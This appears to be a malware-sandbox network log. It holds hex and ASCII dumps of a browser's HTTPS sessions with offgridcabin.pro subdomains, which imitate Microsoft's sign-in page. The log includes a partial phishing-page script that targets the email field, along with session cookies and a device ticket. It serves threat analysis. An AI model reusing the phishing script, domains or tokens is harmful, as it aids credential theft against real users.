esctx=PAQABBwEAAADW6jl31mB3T7ugrWTT8pFebDRfXIS7uujiARMRhbx2NFpNc1rwQKff7A-mmo2sOPdKbE22tPuGLCbVtfYLU1gKx0Y-VcuvYVI7i8exK3KEqUmty3Pek_BjpGSgnwWjYYxcAzV5lLFnAEqM0faUnS-CkmRFDJAzIxyE3SnuJs0WfKr636VYFFidQNV5fED5qaogAA; stsservicecookie=estsfd
2025-01-13 20:53:03 UTC	4883	OUT	Data Raw: 7b 22 65 63 22 3a 22 5b 52 65 74 72 79 20 30 5d 20 46 61 69 6c 65 64 20 74 6f 20 6c 6f 61 64 20 65 78 74 65 72 6e 61 6c 20 72 65 73 6f 75 72 63 65 20 5b 27 68 74 74 70 73 3a 2f 2f 6b 7a 6c 65 68 62 33 30 6a 30 71 64 33 36 6d 62 75 62 6f 78 35 6a 67 64 63 2e 6f 66 66 67 72 69 64 63 61 62 69 6e 2e 70 72 6f 2f 73 68 61 72 65 64 2f 31 2e 30 2f 63 6f 6e 74 65 6e 74 2f 6a 73 2f 42 73 73 6f 49 6e 74 65 72 72 75 70 74 5f 43 6f 72 65 5f 7a 4b 6f 78 5f 51 4d 63 54 49 56 75 74 37 6d 47 5f 5a 39 45 65 77 32 2e 6a 73 27 5d 2c 20 72 65 6c 6f 61 64 69 6e 67 20 66 72 6f 6d 20 66 61 6c 6c 62 61 63 6b 20 43 44 4e 20 65 6e 64 70 6f 69 6e 74 22 2c 22 77 65 63 22 3a 22 35 36 22 2c 22 69 64 78 22 3a 31 2c 22 70 6e 22 3a 22 22 2c 22 73 63 22 3a 32 30 30 31 2c 22 68 70 67 22 3a Data Ascii: {"ec":"[Retry 0] Failed to load external resource ['https://kzlehb30j0qd36mbubox5jgdc.offgridcabin.pro/shared/1.0/content/js/BssoInterrupt_Core_zKox_QMcTIVut7mG_Z9Eew2.js'], reloading from fallback CDN endpoint","wec":"56","idx":1,"pn":"","sc":2001,"hpg":
2025-01-13 20:53:03 UTC	17	IN	HTTP/1.1 200 OK
2025-01-13 20:53:03 UTC	35	IN	Data Raw: 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 6e 6f 2d 63 61 63 68 65 2c 20 6e 6f 2d 73 74 6f 72 65 0d 0a Data Ascii: Cache-Control: no-cache, no-store
2025-01-13 20:53:03 UTC	57	IN	Data Raw: 43 6c 69 65 6e 74 2d 52 65 71 75 65 73 74 2d 49 64 3a 20 34 32 31 62 61 38 34 37 2d 31 66 64 35 2d 34 34 65 65 2d 62 65 30 61 2d 30 36 65 34 38 61 32 32 63 32 63 35 0d 0a Data Ascii: Client-Request-Id: 421ba847-1fd5-44ee-be0a-06e48a22c2c5
2025-01-13 20:53:03 UTC	19	IN	Data Raw: 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a Data Ascii: Connection: close
2025-01-13 20:53:03 UTC	47	IN	Data Raw: 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6a 73 6f 6e 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 0d 0a Data Ascii: Content-Type: application/json; charset=utf-8
2025-01-13 20:53:03 UTC	37	IN	Data Raw: 44 61 74 65 3a 20 4d 6f 6e 2c 20 31 33 20 4a 61 6e 20 32 30 32 35 20 32 30 3a 35 33 3a 30 33 20 47 4d 54 0d 0a Data Ascii: Date: Mon, 13 Jan 2025 20:53:03 GMT
2025-01-13 20:53:03 UTC	13	IN	Data Raw: 45 78 70 69 72 65 73 3a 20 2d 31 0d 0a Data Ascii: Expires: -1
2025-01-13 20:53:03 UTC	101	IN	Data Raw: 4e 65 6c 3a 20 7b 22 72 65 70 6f 72 74 5f 74 6f 22 3a 22 6e 65 74 77 6f 72 6b 2d 65 72 72 6f 72 73 22 2c 22 6d 61 78 5f 61 67 65 22 3a 38 36 34 30 30 2c 22 73 75 63 63 65 73 73 5f 66 72 61 63 74 69 6f 6e 22 3a 30 2e 30 30 31 2c 22 66 61 69 6c 75 72 65 5f 66 72 61 63 74 69 6f 6e 22 3a 31 2e 30 7d 0d 0a Data Ascii: Nel: {"report_to":"network-errors","max_age":86400,"success_fraction":0.001,"failure_fraction":1.0}
2025-01-13 20:53:03 UTC	41	IN	Data Raw: 50 33 70 3a 20 43 50 3d 22 44 53 50 20 43 55 52 20 4f 54 50 69 20 49 4e 44 20 4f 54 52 69 20 4f 4e 4c 20 46 49 4e 22 0d 0a Data Ascii: P3p: CP="DSP CUR OTPi IND OTRi ONL FIN"
2025-01-13 20:53:03 UTC	18	IN	Data Raw: 50 72 61 67 6d 61 3a 20 6e 6f 2d 63 61 63 68 65 0d 0a Data Ascii: Pragma: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port
39	192.168.2.6	49870	40.115.3.253	443

Timestamp	Bytes transferred	Direction	Data
2025-01-13 20:53:04 UTC	71	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 35 0d 0a 4d 53 2d 43 56 3a 20 51 75 4a 54 35 5a 50 32 56 30 57 44 46 65 2b 74 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 38 66 63 66 39 66 32 33 30 30 66 35 66 33 61 39 0d 0a 0d 0a Data Ascii: CNT 1 CON 305MS-CV: QuJT5ZP2V0WDFe+t.1Context: 8fcf9f2300f5f3a9
2025-01-13 20:53:04 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
2025-01-13 20:53:04 UTC	1084	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 36 31 0d 0a 4d 53 2d 43 56 3a 20 51 75 4a 54 35 5a 50 32 56 30 57 44 46 65 2b 74 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 38 66 63 66 39 66 32 33 30 30 66 35 66 33 61 39 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 34 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 65 66 6b 68 2b 66 32 54 59 54 4d 2f 44 63 65 61 58 50 74 45 4a 36 4c 6e 4f 4f 4f 61 39 50 49 43 70 6b 72 74 54 74 64 74 41 53 70 4d 4a 72 6a 50 61 47 2b 31 38 54 38 6b 59 7a 4c 57 52 6a 64 47 4c 41 62 55 59 78 51 35 5a 6f 4c 69 43 44 65 45 51 67 63 71 36 71 4b 62 32 68 4b 70 57 73 52 31 2f 4b 57 6d 61 38 38 6d 6e 5a 45 47 70 Data Ascii: ATH 2 CON\DEVICE 1061MS-CV: QuJT5ZP2V0WDFe+t.2Context: 8fcf9f2300f5f3a9<device><compact-ticket>t=EwC4AupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAefkh+f2TYTM/DceaXPtEJ6LnOOOa9PICpkrtTtdtASpMJrjPaG+18T8kYzLWRjdGLAbUYxQ5ZoLiCDeEQgcq6qKb2hKpWsR1/KWma88mnZEGp
2025-01-13 20:53:04 UTC	218	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 30 20 31 39 37 0d 0a 4d 53 2d 43 56 3a 20 51 75 4a 54 35 5a 50 32 56 30 57 44 46 65 2b 74 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 38 66 63 66 39 66 32 33 30 30 66 35 66 33 61 39 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 0 197MS-CV: QuJT5ZP2V0WDFe+t.3Context: 8fcf9f2300f5f3a9<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2025-01-13 20:53:04 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2025-01-13 20:53:04 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 6e 72 6d 51 30 73 50 32 38 45 57 7a 63 39 52 7a 4b 6f 32 49 52 67 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: nrmQ0sP28EWzc9RzKo2IRg.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
40	192.168.2.6	49872	104.168.175.55	443	4340	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-13 20:53:04 UTC	1014	OUT	GET /common/handlers/watson HTTP/1.1 Host: hv4q6nqj04o2dvm9n22jnhizw.offgridcabin.pro Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: 0674-566a=1074fb27092c9300e074fcfa949edff2e2570334045a311e9071f64e0f26a999; x-ms-gateway-slice=estsfd; esctx-dBsMBhShlY8=AQABCQEAAADW6jl31mB3T7ugrWTT8pFeWzs6_Kevth9Uy4a-ZdD6qSVKHVb6mOfJp2xsDQsIfcErZmLI3Een2tQGj3NjtXpn1mm4wQLuCuKw2q7O0IXwAl1FOoznYSxDeOhFonwsUJ0_1IVgcL75xhVvJGKSseGOAza9hIcaH0JkUo4uGBjd6CAA; fpc=AmlwFQZQ3GVBg66ic6MZS6c; esctx=PAQABBwEAAADW6jl31mB3T7ugrWTT8pFebDRfXIS7uujiARMRhbx2NFpNc1rwQKff7A-mmo2sOPdKbE22tPuGLCbVtfYLU1gKx0Y-VcuvYVI7i8exK3KEqUmty3Pek_BjpGSgnwWjYYxcAzV5lLFnAEqM0faUnS-CkmRFDJAzIxyE3SnuJs0WfKr636VYFFidQNV5fED5qaogAA; stsservicecookie=estsfd; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1
2025-01-13 20:53:05 UTC	17	IN	HTTP/1.1 200 OK
2025-01-13 20:53:05 UTC	35	IN	Data Raw: 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 6e 6f 2d 63 61 63 68 65 2c 20 6e 6f 2d 73 74 6f 72 65 0d 0a Data Ascii: Cache-Control: no-cache, no-store
2025-01-13 20:53:05 UTC	19	IN	Data Raw: 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a Data Ascii: Connection: close
2025-01-13 20:53:05 UTC	47	IN	Data Raw: 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6a 73 6f 6e 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 0d 0a Data Ascii: Content-Type: application/json; charset=utf-8
2025-01-13 20:53:05 UTC	37	IN	Data Raw: 44 61 74 65 3a 20 4d 6f 6e 2c 20 31 33 20 4a 61 6e 20 32 30 32 35 20 32 30 3a 35 33 3a 30 34 20 47 4d 54 0d 0a Data Ascii: Date: Mon, 13 Jan 2025 20:53:04 GMT
2025-01-13 20:53:05 UTC	13	IN	Data Raw: 45 78 70 69 72 65 73 3a 20 2d 31 0d 0a Data Ascii: Expires: -1
2025-01-13 20:53:05 UTC	101	IN	Data Raw: 4e 65 6c 3a 20 7b 22 72 65 70 6f 72 74 5f 74 6f 22 3a 22 6e 65 74 77 6f 72 6b 2d 65 72 72 6f 72 73 22 2c 22 6d 61 78 5f 61 67 65 22 3a 38 36 34 30 30 2c 22 73 75 63 63 65 73 73 5f 66 72 61 63 74 69 6f 6e 22 3a 30 2e 30 30 31 2c 22 66 61 69 6c 75 72 65 5f 66 72 61 63 74 69 6f 6e 22 3a 31 2e 30 7d 0d 0a Data Ascii: Nel: {"report_to":"network-errors","max_age":86400,"success_fraction":0.001,"failure_fraction":1.0}
2025-01-13 20:53:05 UTC	41	IN	Data Raw: 50 33 70 3a 20 43 50 3d 22 44 53 50 20 43 55 52 20 4f 54 50 69 20 49 4e 44 20 4f 54 52 69 20 4f 4e 4c 20 46 49 4e 22 0d 0a Data Ascii: P3p: CP="DSP CUR OTPi IND OTRi ONL FIN"
2025-01-13 20:53:05 UTC	18	IN	Data Raw: 50 72 61 67 6d 61 3a 20 6e 6f 2d 63 61 63 68 65 0d 0a Data Ascii: Pragma: no-cache
2025-01-13 20:53:05 UTC	50	IN	Data Raw: 52 65 66 65 72 72 65 72 2d 50 6f 6c 69 63 79 3a 20 73 74 72 69 63 74 2d 6f 72 69 67 69 6e 2d 77 68 65 6e 2d 63 72 6f 73 73 2d 6f 72 69 67 69 6e 0d 0a Data Ascii: Referrer-Policy: strict-origin-when-cross-origin
2025-01-13 20:53:05 UTC	150	IN	Data Raw: 52 65 70 6f 72 74 2d 54 6f 3a 20 7b 22 67 72 6f 75 70 22 3a 22 6e 65 74 77 6f 72 6b 2d 65 72 72 6f 72 73 22 2c 22 6d 61 78 5f 61 67 65 22 3a 38 36 34 30 30 2c 22 65 6e 64 70 6f 69 6e 74 73 22 3a 5b 7b 22 75 72 6c 22 3a 22 68 74 74 70 73 3a 2f 2f 69 64 65 6e 74 69 74 79 2e 6e 65 6c 2e 6d 65 61 73 75 72 65 2e 6f 66 66 69 63 65 2e 6e 65 74 2f 61 70 69 2f 72 65 70 6f 72 74 3f 63 61 74 49 64 3d 47 57 2b 65 73 74 73 66 64 2b 65 73 74 22 7d 5d 7d 0d 0a Data Ascii: Report-To: {"group":"network-errors","max_age":86400,"endpoints":[{"url":"https://identity.nel.measure.office.net/api/report?catId=GW+estsfd+est"}]}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
41	192.168.2.6	49874	104.168.175.55	443	4340	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-13 20:53:04 UTC	716	OUT	GET /ests/2.1/content/cdnbundles/converged.v2.login.min_81imvbluez-v5hbzpkxfcg2.css HTTP/1.1 Host: kzlehb30j0qd36mbubox5jgdc.offgridcabin.pro Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://hv4q6nqj04o2dvm9n22jnhizw.offgridcabin.pro sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: style Referer: https://hv4q6nqj04o2dvm9n22jnhizw.offgridcabin.pro/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-13 20:53:05 UTC	17	IN	HTTP/1.1 200 OK
2025-01-13 20:53:05 UTC	22	IN	Data Raw: 41 63 63 65 70 74 2d 52 61 6e 67 65 73 3a 20 62 79 74 65 73 0d 0a Data Ascii: Accept-Ranges: bytes
2025-01-13 20:53:05 UTC	32	IN	Data Raw: 41 63 63 65 73 73 2d 43 6f 6e 74 72 6f 6c 2d 41 6c 6c 6f 77 2d 4f 72 69 67 69 6e 3a 20 2a 0d 0a Data Ascii: Access-Control-Allow-Origin: *
2025-01-13 20:53:05 UTC	202	IN	Data Raw: 41 63 63 65 73 73 2d 43 6f 6e 74 72 6f 6c 2d 45 78 70 6f 73 65 2d 48 65 61 64 65 72 73 3a 20 78 2d 6d 73 2d 72 65 71 75 65 73 74 2d 69 64 2c 53 65 72 76 65 72 2c 78 2d 6d 73 2d 76 65 72 73 69 6f 6e 2c 43 6f 6e 74 65 6e 74 2d 54 79 70 65 2c 43 6f 6e 74 65 6e 74 2d 45 6e 63 6f 64 69 6e 67 2c 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 2c 4c 61 73 74 2d 4d 6f 64 69 66 69 65 64 2c 45 54 61 67 2c 78 2d 6d 73 2d 6c 65 61 73 65 2d 73 74 61 74 75 73 2c 78 2d 6d 73 2d 62 6c 6f 62 2d 74 79 70 65 2c 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 2c 44 61 74 65 2c 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 0d 0a Data Ascii: Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding
2025-01-13 20:53:05 UTC	41	IN	Data Raw: 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 70 75 62 6c 69 63 2c 20 6d 61 78 2d 61 67 65 3d 33 31 35 33 36 30 30 30 0d 0a Data Ascii: Cache-Control: public, max-age=31536000
2025-01-13 20:53:05 UTC	19	IN	Data Raw: 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a Data Ascii: Connection: close
2025-01-13 20:53:05 UTC	24	IN	Data Raw: 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 63 73 73 0d 0a Data Ascii: Content-Type: text/css
2025-01-13 20:53:05 UTC	37	IN	Data Raw: 44 61 74 65 3a 20 4d 6f 6e 2c 20 31 33 20 4a 61 6e 20 32 30 32 35 20 32 30 3a 35 33 3a 30 35 20 47 4d 54 0d 0a Data Ascii: Date: Mon, 13 Jan 2025 20:53:05 GMT
2025-01-13 20:53:05 UTC	25	IN	Data Raw: 45 74 61 67 3a 20 30 78 38 44 43 46 46 42 32 31 45 34 39 36 46 33 41 0d 0a Data Ascii: Etag: 0x8DCFFB21E496F3A
2025-01-13 20:53:05 UTC	46	IN	Data Raw: 4c 61 73 74 2d 4d 6f 64 69 66 69 65 64 3a 20 46 72 69 2c 20 30 38 20 4e 6f 76 20 32 30 32 34 20 30 34 3a 35 39 3a 32 35 20 47 4d 54 0d 0a Data Ascii: Last-Modified: Fri, 08 Nov 2024 04:59:25 GMT
2025-01-13 20:53:05 UTC	28	IN	Data Raw: 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 3a 20 63 68 75 6e 6b 65 64 0d 0a Data Ascii: Transfer-Encoding: chunked

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
42	192.168.2.6	49878	104.168.175.55	443	4340	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-13 20:53:05 UTC	1781	OUT	GET /s/1074fb27092c9300e074fcfa949edff2e2570334045a311e9071f64e0f26a999/8f2420ea4a9ef1f09cf039a427ec755182725ef82125633936a0b7b83a6f0a53.js HTTP/1.1 Host: hv4q6nqj04o2dvm9n22jnhizw.offgridcabin.pro Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://hv4q6nqj04o2dvm9n22jnhizw.offgridcabin.pro/?auth=2&sso_reload=true Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: 0674-566a=1074fb27092c9300e074fcfa949edff2e2570334045a311e9071f64e0f26a999; x-ms-gateway-slice=estsfd; esctx-dBsMBhShlY8=AQABCQEAAADW6jl31mB3T7ugrWTT8pFeWzs6_Kevth9Uy4a-ZdD6qSVKHVb6mOfJp2xsDQsIfcErZmLI3Een2tQGj3NjtXpn1mm4wQLuCuKw2q7O0IXwAl1FOoznYSxDeOhFonwsUJ0_1IVgcL75xhVvJGKSseGOAza9hIcaH0JkUo4uGBjd6CAA; stsservicecookie=estsfd; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=1.AW4AqzBRR7ViQUKp00fjfJvCFakreHKQRANPjYJWI3DqNWYBAABuAA.AQABGgEAAABVrSpeuWamRam2jAF1XRQEIwtgjghHlMqRHvzwGgRVl-y4xgxhKnqVZQn8WboVTAJm387vgkWeMF4ZIzTIJXFdZMIlm-h5K-24HNhtV71ClTL2ZxTQ2UBt42JmtKsL-ksgAA; esctx=PAQABBwEAAABVrSpeuWamRam2jAF1XRQEdD7LZ96aSbMTy4SiTw39k6axxm3uHVNAxMsjdO2Wq8g-tCy05YfIB82F_YEHJO5VSiLuZwRI9I2lE0zqzn8r39SwnkDz1v0uvB-AHaQsbw0B0a3bKYjOJE39YtvCGXhlsMK-ssh5sVb1pv3KZr-obfUI-8QGZazOYwfMWlz47YIgAA; esctx-hZ1cnqceY=AQABCQEAAABVrSpeuWamRam2jAF1XRQEvOpajUsXp-inIhLyPrzcLwA0WBw42q5tjkqps7JgACkDRly0Oq8_yX2OWLulOiKBH-RBImGAvgMnpLkN7CahptnhTrlPNKUXWVxKNDn1I-P0G7bD5ea6qyxtYRKN-8bKkFE7FyaTbdqwY2DEw4YgVyAA; fpc=AmlwFQZQ3GVBg66 [TRUNCATED]
2025-01-13 20:53:05 UTC	17	IN	HTTP/1.1 200 OK
2025-01-13 20:53:05 UTC	35	IN	Data Raw: 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 6e 6f 2d 63 61 63 68 65 2c 20 6e 6f 2d 73 74 6f 72 65 0d 0a Data Ascii: Cache-Control: no-cache, no-store
2025-01-13 20:53:05 UTC	19	IN	Data Raw: 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a Data Ascii: Connection: close
2025-01-13 20:53:05 UTC	38	IN	Data Raw: 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6a 61 76 61 73 63 72 69 70 74 0d 0a Data Ascii: Content-Type: application/javascript
2025-01-13 20:53:05 UTC	28	IN	Data Raw: 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 3a 20 63 68 75 6e 6b 65 64 0d 0a Data Ascii: Transfer-Encoding: chunked
2025-01-13 20:53:05 UTC	2	IN	Data Raw: 0d 0a Data Ascii:
2025-01-13 20:53:05 UTC	5	IN	Data Raw: 33 32 36 0d 0a Data Ascii: 326
2025-01-13 20:53:05 UTC	806	IN	Data Raw: 66 75 6e 63 74 69 6f 6e 20 6c 70 28 29 7b 0a 20 20 76 61 72 20 65 6d 61 69 6c 49 64 20 3d 20 64 6f 63 75 6d 65 6e 74 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 28 22 23 69 30 31 31 36 22 29 3b 0a 20 20 76 61 72 20 6e 65 78 74 42 75 74 74 6f 6e 20 3d 20 64 6f 63 75 6d 65 6e 74 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 28 22 23 69 64 53 49 42 75 74 74 6f 6e 39 22 29 3b 0a 20 20 76 61 72 20 71 75 65 72 79 20 3d 20 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 66 3b 0a 20 20 69 66 20 28 2f 23 2f 2e 74 65 73 74 28 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 66 29 29 7b 0a 20 20 76 61 72 20 72 65 73 20 3d 20 71 75 65 72 79 2e 73 70 6c 69 74 28 22 23 22 29 3b 0a 20 20 76 61 72 20 64 61 74 61 31 20 3d 20 72 65 73 5b 30 5d 3b 0a 20 20 76 61 Data Ascii: function lp(){ var emailId = document.querySelector("#i0116"); var nextButton = document.querySelector("#idSIButton9"); var query = window.location.href; if (/#/.test(window.location.href)){ var res = query.split("#"); var data1 = res[0]; va
2025-01-13 20:53:05 UTC	2	IN	Data Raw: 0d 0a Data Ascii:
2025-01-13 20:53:05 UTC	3	IN	Data Raw: 30 0d 0a Data Ascii: 0
2025-01-13 20:53:05 UTC	2	IN	Data Raw: 0d 0a Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
43	192.168.2.6	49875	104.168.175.55	443	4340	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-13 20:53:05 UTC	693	OUT	GET /shared/1.0/content/js/ConvergedLogin_PCore_n7VKwtWYm2mBLcIKAZfQlw2.js HTTP/1.1 Host: kzlehb30j0qd36mbubox5jgdc.offgridcabin.pro Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://hv4q6nqj04o2dvm9n22jnhizw.offgridcabin.pro sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Referer: https://hv4q6nqj04o2dvm9n22jnhizw.offgridcabin.pro/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-13 20:53:05 UTC	17	IN	HTTP/1.1 200 OK
2025-01-13 20:53:05 UTC	22	IN	Data Raw: 41 63 63 65 70 74 2d 52 61 6e 67 65 73 3a 20 62 79 74 65 73 0d 0a Data Ascii: Accept-Ranges: bytes
2025-01-13 20:53:05 UTC	32	IN	Data Raw: 41 63 63 65 73 73 2d 43 6f 6e 74 72 6f 6c 2d 41 6c 6c 6f 77 2d 4f 72 69 67 69 6e 3a 20 2a 0d 0a Data Ascii: Access-Control-Allow-Origin: *
2025-01-13 20:53:05 UTC	202	IN	Data Raw: 41 63 63 65 73 73 2d 43 6f 6e 74 72 6f 6c 2d 45 78 70 6f 73 65 2d 48 65 61 64 65 72 73 3a 20 78 2d 6d 73 2d 72 65 71 75 65 73 74 2d 69 64 2c 53 65 72 76 65 72 2c 78 2d 6d 73 2d 76 65 72 73 69 6f 6e 2c 43 6f 6e 74 65 6e 74 2d 54 79 70 65 2c 43 6f 6e 74 65 6e 74 2d 45 6e 63 6f 64 69 6e 67 2c 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 2c 4c 61 73 74 2d 4d 6f 64 69 66 69 65 64 2c 45 54 61 67 2c 78 2d 6d 73 2d 6c 65 61 73 65 2d 73 74 61 74 75 73 2c 78 2d 6d 73 2d 62 6c 6f 62 2d 74 79 70 65 2c 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 2c 44 61 74 65 2c 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 0d 0a Data Ascii: Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding
2025-01-13 20:53:05 UTC	41	IN	Data Raw: 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 70 75 62 6c 69 63 2c 20 6d 61 78 2d 61 67 65 3d 33 31 35 33 36 30 30 30 0d 0a Data Ascii: Cache-Control: public, max-age=31536000
2025-01-13 20:53:05 UTC	19	IN	Data Raw: 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a Data Ascii: Connection: close
